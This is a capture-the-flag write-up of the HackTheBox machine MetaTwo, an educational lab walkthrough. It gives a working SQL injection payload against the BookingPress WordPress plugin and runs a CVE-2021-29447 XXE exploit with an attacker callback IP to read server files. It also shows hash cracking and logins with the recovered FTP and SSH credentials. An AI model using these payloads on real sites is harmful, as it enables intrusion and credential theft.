MetaTwo

Table of Contents

Introduction


MetaTwo requires enumerating WordPress, using a known SQLi in the BookingPress plugin to obtain user-hashed credentials. After cracking them, these credentials will enable us to login into the manager account where a known authenticated XXE can be done to recover host files. Within these host files, we can retrieve some FTP credentials that will enable us to retrieve some more host files where within them some ssh credentials can be found. After logging in with the newly found credentials, we can retrieve some PGP encrypted files where the root password is present. After cracking the content we can recover the root password and obtain root.

Recon


The HTTP service has as its domain metapress.htb, by changing the /etc/hosts file, we will be able to reach it.

nmap (TCP all ports)

nmap finds three open TCP ports, FTP (21), SSH (22), and an HTTP server (80):

$ nmap -sT -p- metapress.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 10:25 GMT
Nmap scan report for metapress.htb (10.129.239.197)
Host is up (0.047s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 47.07 seconds
$ 

nmap (found TCP ports exploration)

$ nmap -sC -sV -p 21,22,80 metapress.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 10:27 GMT
Nmap scan report for metapress.htb (10.129.239.197)
Host is up (0.014s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp?
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe๐Ÿ’ฟ79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d๐Ÿ’ฟ44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: MetaPress – Official company site
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-generator: WordPress 5.6.2
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 227.81 seconds
$ 

FTP - TCP 21

In the FTP service we can see if FTP anonymous login is enable, we can confirm that it isnโ€™t:

$ ftp metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.129.239.197]
Name (metapress.htb:root): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:

Robots.txt contents:

By checking the robots.txt file within the web app we can get to know an exposed API endpoint:

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: http://metapress.htb/wp-sitemap.xml

WordPress

Since we know that the web app is built with WordPress, we can list its various components.

WordPress version

We can confirm the version of WordPress by running the following:

$ curl --silent http://metapress.htb | grep 'content="WordPress'
<meta name="generator" content="WordPress 5.6.2" />
$ 
WordPress users

We can retrieve the users present in the application by running the following:

$ curl --silent http://metapress.htb/wp-json/wp/v2/users | jq
[
  {
    "id": 1,
    "name": "admin",
    "url": "http://metapress.htb",
    "description": "",
    "link": "http://metapress.htb/author/admin/",
    "slug": "admin",
    "avatar_urls": {
      "24": "http://2.gravatar.com/avatar/816499be5007457d126357a63115cd9c?s=24&d=mm&r=g",
      "48": "http://2.gravatar.com/avatar/816499be5007457d126357a63115cd9c?s=48&d=mm&r=g",
      "96": "http://2.gravatar.com/avatar/816499be5007457d126357a63115cd9c?s=96&d=mm&r=g"
    },
    "meta": [],
    "_links": {
      "self": [
        {
          "href": "http://metapress.htb/wp-json/wp/v2/users/1"
        }
      ],
      "collection": [
        {
          "href": "http://metapress.htb/wp-json/wp/v2/users"
        }
      ]
    }
  }
]
$
WordPress themes

We can retrieve the themes being used by running the following:

$ curl -s -X GET http://metapress.htb | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1
http://metapress.htb/wp-content/themes/twentytwentyone/assets/css/print.css?ver=1.1
 + 
http://metapress.htb/wp-content/themes/twentytwentyone/assets/js/primary-navigation.js?ver=1.1
http://metapress.htb/wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js?ver=1.1
$ 
WPScan

By checking the web application with the tool WPScan we can get to know possible security flaws present in the web application:

$ wpscan --url http://metapress.htb
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ยฎ
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://metapress.htb/ [10.129.239.197]
[+] Started: Mon Oct 31 11:26:41 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: nginx/1.18.0
 |  - X-Powered-By: PHP/8.0.24
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://metapress.htb/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

<SNIP>

[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
 | Found By: Rss Generator (Passive Detection)
 |  - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
 |  - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
 |
 | [!] 28 vulnerabilities identified:
 |
 | [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
 |     Fixed in: 5.6.3
 |     References:
 |      - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
 |      - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
 |      - https://core.trac.wordpress.org/changeset/29378
 |      - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
 |      - https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
 |      - https://hackerone.com/reports/1095645
 |      - https://www.youtube.com/watch?v=3NBxcmqCgt4

<SNIP>

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <===============================================================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] WPScan DB API OK
[+] Finished: Mon Oct 31 11:26:51 2022
[+] Requests Done: 190
[+] Cached Requests: 7
[+] Data Sent: 52.753 KB
[+] Data Received: 19.432 MB
[+] Memory used: 273.379 MB
[+] Elapsed time: 00:00:09
$ 

Shell as jnelson


BookingPress

By interacting with the web application, you can book an appointment. The submission of the form will generate the following request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1023
Origin: http://metapress.htb
DNT: 1
Connection: close
Referer: http://metapress.htb/events/
Cookie: PHPSESSID=a9lva79jnr2d3577dtsk1d23kt; wordpress_test_cookie=WP%20Cookie%20check
Sec-GPC: 1

action=bookingpress_before_book_appointment&appointment_data%5Bselected_category%5D=1&appointment_data%5Bselected_cat_name%5D=&appointment_data%5Bselected_service%5D=1&appointment_data%5Bselected_service_name%5D=Startup%20meeting&appointment_data%5Bselected_service_price%5D=%240.00&appointment_data%5Bservice_price_without_currency%5D=0&appointment_data%5Bselected_date%5D=2022-10-31&appointment_data%5Bselected_start_time%5D=12%3A00&appointment_data%5Bselected_end_time%5D=12%3A30&appointment_data%5Bcustomer_name%5D=&appointment_data%5Bcustomer_firstname%5D=admin&appointment_data%5Bcustomer_lastname%5D=admin&appointment_data%5Bcustomer_phone%5D=%28919%29%20292-3123&appointment_data%5Bcustomer_email%5D=admin%40metatwo.htb&appointment_data%5Bappointment_note%5D=aasdasdasdasdads&appointment_data%5Bselected_payment_method%5D=&appointment_data%5Bcustomer_phone_country%5D=US&appointment_data%5Btotal_services%5D=&appointment_data%5Bstime%5D=1667230861&appointment_data%5Bspam_captcha%5D=q2rX8rekzvwX&_wpnonce=bf440717c1

We can see from the request that the web application uses the following WordPress plugin to handle bookings:

BookingPress SQL injection

By checking for possible vulnerabilities present within the BookingPress plugin we can get to know that it might be vulnerable to SQLi:

Exploiting SQLi

The SQLi is present because the BookingPress plugin fails to properly sanitize user-supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users). With this in mind, we can craft a payload that retrieves user credentials:

$ curl --silent 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=bf440717c1&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -' | jq
[
  {
    "bookingpress_service_id": "admin,manager",
    "bookingpress_category_id": "$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.,$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70",
    "bookingpress_service_name": "debian-linux-gnu",
    "bookingpress_service_price": "$1.00",
    "bookingpress_service_duration_val": "2",
    "bookingpress_service_duration_unit": "3",
    "bookingpress_service_description": "4",
    "bookingpress_service_position": "5",
    "bookingpress_servicedate_created": "6",
    "service_price_without_currency": 1,
    "img_url": "http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/images/placeholder-img.jpg"
  }
]
$ 

Cracking Credentials

The credentials found previously with the BookingPress vulnerability are the following:

admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Get hash type

The credentials are hashed, therefore to get the plaintext we need to first identify what type of hash they are. We can get this information with the help of the tool Name-That-Hash:

$ nth --text '$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.'

  _   _                           _____ _           _          _   _           _     
 | \ | |                         |_   _| |         | |        | | | |         | |    
 |  \| | __ _ _ __ ___   ___ ______| | | |__   __ _| |_ ______| |_| | __ _ ___| |__  
 | . ` |/ _` | '_ ` _ \ / _ \______| | | '_ \ / _` | __|______|  _  |/ _` / __| '_ \ 
 | |\  | (_| | | | | | |  __/      | | | | | | (_| | |_       | | | | (_| \__ \ | | |
 \_| \_/\__,_|_| |_| |_|\___|      \_/ |_| |_|\__,_|\__|      \_| |_/\__,_|___/_| |_|

https://twitter.com/bee_sec_san
https://github.com/HashPals/Name-That-Hash 
    

$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.

Most Likely 
Wordpress โ‰ฅ v2.6.2, HC: 400 JtR: phpass
Joomla โ‰ฅ v2.5.18, HC: 400 JtR: phpass
PHPass' Portable Hash, HC: 400 JtR: phpass

$ 

Crack hashes

After knowing what type of hashes they are, we should try to crack them. For this we will use the tool john and the wordlist RockYou:

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (?)
1g 0:00:08:24 DONE (2022-10-31 12:09) 0.001982g/s 28433p/s 28652c/s 28652C/s !!!@@@!!!..*7ยกVamos!
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
$ 

Cracked credentials

By trying to crack the credentials we were able to retrieve only the manager password plaintext:

admin:?
manager:partylikearockstar

Authenticated XXE Within the Media Library

By using the credentials cracked previously we are able to successfully login into the manager account. This enables us to manage, albeit in a limited capacity, the WordPress service.

By checking the previously WPScan output we can see that a vulnerability is present in the Media Library that we are now able to access:

| [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 
| Fixed in: 5.6.3 
| References: 
| - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447 
| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/ 
| - https://core.trac.wordpress.org/changeset/29378 
| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html 
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh 
| - https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/ 
| - https://hackerone.com/reports/1095645 
| - https://www.youtube.com/watch?v=3NBxcmqCgt4

By searching more about the vulnerability in question we can come across the following POC, with this we can try to retrieve valuable files within the host machine.

Retrieve /etc/passwd

By retrieving the /etc/passwd file we are able to know the users present within the host.

$ ./exploit.sh  metapress.htb manager partylikearockstar /etc/passwd 10.10.14.72

=====================================
CVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
[*] Test connection to WordPress...
[+] Authentication successfull!!!
[+] Create payload.wav
[+] Getting Wp Nonce ... 
[+] Wp Nonce retrieved successfully ! _wpnonce : c3a5e3236d
[+] Uploading the wav file ... 
[-] Failed to receive a response for uploaded! Try again . 

[+] Obtaining file information...
rootโŒ0:0:root:/root:/bin/bash
daemonโŒ1:1:daemon:/usr/sbin:/usr/sbin/nologin
binโŒ2:2:bin:/bin:/usr/sbin/nologin
sysโŒ3:3:sys:/dev:/usr/sbin/nologin
syncโŒ4:65534:sync:/bin:/bin/sync
gamesโŒ5:60:games:/usr/games:/usr/sbin/nologin
manโŒ6:12:man:/var/cache/man:/usr/sbin/nologin
lpโŒ7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mailโŒ8:8:mail:/var/mail:/usr/sbin/nologin
newsโŒ9:9:news:/var/spool/news:/usr/sbin/nologin
uucpโŒ10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxyโŒ13:13:proxy:/bin:/usr/sbin/nologin
www-dataโŒ33:33:www-data:/var/www:/usr/sbin/nologin
backupโŒ34:34:backup:/var/backups:/usr/sbin/nologin
listโŒ38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ircโŒ39:39:ircd:/run/ircd:/usr/sbin/nologin
gnatsโŒ41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobodyโŒ65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_aptโŒ100:65534::/nonexistent:/usr/sbin/nologin
systemd-networkโŒ101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolveโŒ102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebusโŒ103:109::/nonexistent:/usr/sbin/nologin
sshdโŒ104:65534::/run/sshd:/usr/sbin/nologin
jnelsonโŒ1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesyncโŒ999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredumpโŒ998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysqlโŒ105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpdโŒ106:65534::/run/proftpd:/usr/sbin/nologin
ftpโŒ107:65534::/srv/ftp:/usr/sbin/nologin
$ 

Retrieve nginx config file

Previously we learned that Nginx was present within the technologies being used. With this in mind we can try to retrieve its configuration file from the host machine:

$ ./exploit.sh  metapress.htb manager partylikearockstar /etc/nginx/sites-enabled/default 10.10.14.72

=====================================
CVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
[*] Test connection to WordPress...
[+] Authentication successfull!!!
[+] Create payload.wav
[+] Getting Wp Nonce ... 
[+] Wp Nonce retrieved successfully ! _wpnonce : 8ddd6e2b6c
[+] Uploading the wav file ... 
Traceback (most recent call last):
  File "/home/htb-pengrey/.upload.py", line 41, in <module>
    _wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
IndexError: list index out of range
[+] Obtaining file information...
server {

  listen 80;
  listen [::]:80;

  root /var/www/metapress.htb/blog;

  index index.php index.html;

        if ($http_host != "metapress.htb") {
                rewrite ^ http://metapress.htb/;
        }

  location / {
    try_files $uri $uri/ /index.php?$args;
  }
    
  location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
  }

  location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
    expires max;
    log_not_found off;
  }

}
$

Retrieve WordPress config file

Previously when we were able to retrieve the Nginx config file, with this we were able to know the full path for the WordPress configuration file. We can now, knowing this, try to retrieve the wp-config.php file:

$ ./exploit.sh  metapress.htb manager partylikearockstar /var/www/metapress.htb/blog/wp-config.php 10.10.14.72

=====================================
CVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
[*] Test connection to WordPress...
[+] Authentication successfull!!!
[+] Create payload.wav
[+] Getting Wp Nonce ... 
[+] Wp Nonce retrieved successfully ! _wpnonce : 212b0b7260
[+] Uploading the wav file ... 
[-] Failed to receive a response for uploaded! Try again . 

[+] Obtaining file information...
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
  define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
$ 

FTP - TCP 21


Within the wp-config.php file the FTP credentials were present. With this we can successfully login into the FTP service and retrieve the files present within it:

$ ftp ftp.metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.129.240.193]
Name (ftp.metapress.htb:root): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer
226 Transfer complete
ftp> ls blog
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 metapress.htb metapress.htb      405 Feb  6  2020 index.php
-rw-r--r--   1 metapress.htb metapress.htb    19915 Feb 12  2020 license.txt
-rw-r--r--   1 metapress.htb metapress.htb     7278 Jun 26  2020 readme.html
-rw-r--r--   1 metapress.htb metapress.htb     7101 Jul 28  2020 wp-activate.php
drwxr-xr-x   9 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-admin
-rw-r--r--   1 metapress.htb metapress.htb      351 Feb  6  2020 wp-blog-header.php
-rw-r--r--   1 metapress.htb metapress.htb     2328 Oct  8  2020 wp-comments-post.php
-rw-r--r--   1 metapress.htb metapress.htb     2032 Jun 23 18:12 wp-config.php
-rw-r--r--   1 metapress.htb metapress.htb     2913 Feb  6  2020 wp-config-sample.php
drwxr-xr-x   6 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-content
-rw-r--r--   1 metapress.htb metapress.htb     3939 Jul 30  2020 wp-cron.php
drwxr-xr-x  25 metapress.htb metapress.htb    12288 Oct  5 14:12 wp-includes
-rw-r--r--   1 metapress.htb metapress.htb     2496 Feb  6  2020 wp-links-opml.php
-rw-r--r--   1 metapress.htb metapress.htb     3300 Feb  6  2020 wp-load.php
-rw-r--r--   1 metapress.htb metapress.htb    49831 Nov  9  2020 wp-login.php
-rw-r--r--   1 metapress.htb metapress.htb     8509 Apr 14  2020 wp-mail.php
-rw-r--r--   1 metapress.htb metapress.htb    20975 Nov 12  2020 wp-settings.php
-rw-r--r--   1 metapress.htb metapress.htb    31337 Sep 30  2020 wp-signup.php
-rw-r--r--   1 metapress.htb metapress.htb     4747 Oct  8  2020 wp-trackback.php
-rw-r--r--   1 metapress.htb metapress.htb     3236 Jun  8  2020 xmlrpc.php
226 Transfer complete
ftp> ls mailer
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5 14:12 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22 18:32 send_email.php
226 Transfer complete
ftp>

Retrieve mail credentials

Within the FTP files, there was a send_email.php file with mail credentials present within it:

$ cat send_email.php 
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "[email protected]";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "[email protected]";
$mail->FromName = "James Nelson";

$mail->addAddress("[email protected]");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}
$ 

The credentials found were the following:

jnelson:Cb4_JmWM8zUZWMu@Ys

Shell by logging in as jnelson

By using the mail credentials found for the user jnelson we can successfully log in:

$ ssh [email protected]
The authenticity of host 'metapress.htb (10.129.241.216)' can't be established.
ED25519 key fingerprint is SHA256:0PexEedxcuaYF8COLPS2yzCpWaxg8+gsT1BRIpx/OSY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'metapress.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$

Shell as root


Enumeration

Hidden directory found

By checking the home directory for the user jnelson, a hidden directory can be found.

jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 .
drwxr-xr-x 3 root    root    4096 Oct  5 15:12 ..
lrwxrwxrwx 1 root    root       9 Jun 26 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson  220 Jun 26 15:46 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
-rw-r--r-- 1 jnelson jnelson  807 Jun 26 15:46 .profile
-rw-r----- 1 jnelson jnelson   33 Nov  1 07:58 user.txt
jnelson@meta2:~$ ls .passpie/
ssh
jnelson@meta2:~$ ls .passpie/ssh/
jnelson.pass  root.pass
jnelson@meta2:~$ 

The directory contains the following files (... were used to shorten the code snippet):

    jnelson@meta2:~$ cat .passpie/ssh/root.pass                                                                        
    comment: ''                                                                                                        
    fullname: root@ssh
    login: root
    modified: 2022-06-26 08:58:15.621572
    name: ssh
    password: '-----BEGIN PGP MESSAGE-----
    
    ...
    
      -----END PGP MESSAGE-----
    
      '
    jnelson@meta2:~$
    jnelson@meta2:~$ cat .passpie/ssh/jnelson.pass 
    comment: ''
    fullname: jnelson@ssh
    login: jnelson
    modified: 2022-06-26 08:58:15.514422
    name: ssh
    password: '-----BEGIN PGP MESSAGE-----
    
    ...
    
      -----END PGP MESSAGE-----
    
      '
    jnelson@meta2:~$
    jnelson@meta2:~$ cat .passpie/.keys
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    
    ...
    
    -----END PGP PUBLIC KEY BLOCK-----
    -----BEGIN PGP PRIVATE KEY BLOCK-----
    
    ...
    
    -----END PGP PRIVATE KEY BLOCK-----
    jnelson@meta2:~$

Passpie Project

The directory was named .passpie. By searching online a project can be found:

Testing the project

The project is described as a password manager. We can therefore try to retrieve the root password by requesting it from the passpie program:

jnelson@meta2:~$ passpie
โ•’โ•โ•โ•โ•โ•โ•โ•โ•โ•คโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•คโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•คโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ••
โ”‚ Name   โ”‚ Login   โ”‚ Password   โ”‚ Comment   โ”‚
โ•žโ•โ•โ•โ•โ•โ•โ•โ•โ•ชโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ชโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ชโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ก
โ”‚ ssh    โ”‚ jnelson โ”‚ ********   โ”‚           โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ ssh    โ”‚ root    โ”‚ ********   โ”‚           โ”‚
โ•˜โ•โ•โ•โ•โ•โ•โ•โ•โ•งโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•งโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•งโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•›
jnelson@meta2:~$ passpie copy root
Passphrase: 
Error: Wrong passphrase
jnelson@meta2:~$ 

Unfortunately, we are asked for a passphrase and the passphrase isnโ€™t being reused by any of the previously obtained credentials.

Retrieving the root password

By checking the documentation, we can learn that the encryption being used uses the GNUย Privacy Guard (GPG) suite. Therefore, we can attempt to crack the keys with the help of john.

Extract PGP Private key

Firstly we should retrieve the private key. Two keys were present within the file. The key that we are looking for is the second one, the one that relates to the root user credentials:

jnelson@meta2:~$ cat private.key 
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
<SNIP>
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
